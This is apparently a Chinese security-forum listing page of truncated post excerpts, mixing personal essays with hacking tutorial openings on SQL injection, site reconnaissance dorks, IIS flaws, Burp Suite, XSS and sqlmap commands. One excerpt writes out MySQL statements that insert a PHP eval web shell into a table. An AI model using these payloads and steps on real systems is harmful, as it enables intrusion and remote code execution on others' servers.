红盟社区红黑联盟
有时候，买了一本书或者一张唱片回家，唱片听过一次之后，不怎么喜欢，于是将它长久地放在抽屉里。那本书，翻过几页之后，就一直放在一旁。过了很久，你在书架上偶然发现这本书，看了之后，竟有相逢恨晚的感觉，这么好的书，为何你忘记了它的存在？然后，某年某天，你打开抽屉，无意中看到那张只听过一次的唱片，你再次把它播放出来，那动人的旋律和歌词竟使你震撼，原来你错过了这么好的歌。那时为什么会不喜欢呢？每个人总会有一
前言：SQL注入攻击是黑客对数据库进行攻击的常用手段之一。随着B/S模式应用开发的发展，使用这种模式编写应用程序的程序员也越来越多。但是由于程序员的水平及经验也参差不齐，相当大一部分程序员在编写代码的时候，没有对用户输入数据的合法性进行判断，使应用程序存在安全隐患。用户可以提交一段数据库查询代码，根据程序返回的结果，获得某些他想得知的数据。然而随着SQL注入攻击的高潮过后，越来越多的安全人员想出了
首先把，主站入手注册一个账号，看下上传点，等等之类的。用google找***入点，格式是Site:XXX.com inurl:asp|php|aspx|jsp最好不要带 www，因为不带的话可以检测二级域名。扫目录，看编辑器和Fckeditor，看下敏感目录，有没有目录遍及，查下是iis6,iis5.iis7，这些都有不同的利用方法Iis6解析漏洞Iis5远程溢出，Iis7畸形解析Phpmyadm
0×00 题外话最近迷上了burp suite 这个安全工具，百度了关于这个工具的教程还卖900rmb。。。ohno。本来准备买滴，但是大牛太高傲了，所以没买了。所以就有了今天这个文章。感谢帮助我的几个朋友：Mickey、安天的Sunge。0×01 介绍安装要求：Java 的V1.5 + 安装（ 推荐使用最新的JRE ）， 可从这里免费 http://java.sun.com/j2se/
OWASP top 10的安全威胁中的CrossSite Scripting（跨站脚本攻击），允许攻击者通过浏览器往网站注入恶意脚本。这种漏洞经常出现在web应用中需要用户输入的地方，如果网站有XSS漏 洞，攻击者就可以通过这种漏洞向浏览网站的用户发送恶意脚本，同时也可以利用该漏洞偷取sessionid，用来劫持用户帐户的会话。所以网站开发者必须针对这种攻击进行适当的测试，必须过滤网站的每个输入
时间本身就是快慢的标准。过去了的时间总是很晃眼，无论当时是沉浸其中还是煎熬着想要摆脱。之前总会给自己定下很高的目标，每每遇到挫折困阻就会改变计划，甚至干脆不执行。反叛自己最容易，影响最持久。回首过去的两年，甚至是六年，似乎找到了目标无法达成的原因：无法认清。既无法认清自己，也无法认清局势。我自己认为是聪明人，凡事想走捷径，事实上人生没有捷径，抄近路的结果往往是别人越走越远，而抄近路的却要回到起点重
基本步骤：sqlmap -u "http://url/news?id=1" --current-user #获取当前用户名称sqlmap -u "http://www.xxoo.com/news?id=1" --current-db #获取当前数据库名称sqlmap -u "http://www.xxoo.
MySQL:Drop TABLE IF EXISTS temp; //如果存在temp就删掉Create TABLE temp(cmd text NOT NULL); //建立temp表，里面就一个cmd字段Insert INTO temp (cmd) VALUES(<? php eval($_POST[cmd]);?>); //把一句话木马插入到temp表Select cmd fro
上周奔波了三个城市，累但极其充实，在机场的空闲两个小时还见了个技术高手。 飞到上海的当天，去拜访了久违的一个朋友，他也算是开发板行业的元老了，见证了十年来开发板行业的发展和变迁。 慢慢聊起了开发板这个行业，聊起了我们熟悉的一些人和事，也聊起了技术人员创业。 技术人员创
浏览器成为越来越多的人通往世界的窗口。下面这些浏览器你用过哪些，现在用的又是哪款呢？ Chrome 谷歌浏览器 IE浏览器 360浏览器 Firefox 火狐浏览器 傲游浏览器 Opera浏览器 如果不包含你现在用过的，请自己注明吧！ 另外，感兴趣的可以谈谈您认为浏览器今后的发展方向吧！
我的朋友跟我讲，就算做网工，以后也是要学web语言，多少与web开发沾边。如果不学，以后会遇到职业发展瓶颈。 我不知道对错，无法预知未来。 如果非得从事编程，又该怎样规划职业的发展？
Copyright © 2005-2024 51CTO.COM 版权所有 京ICP证060544号
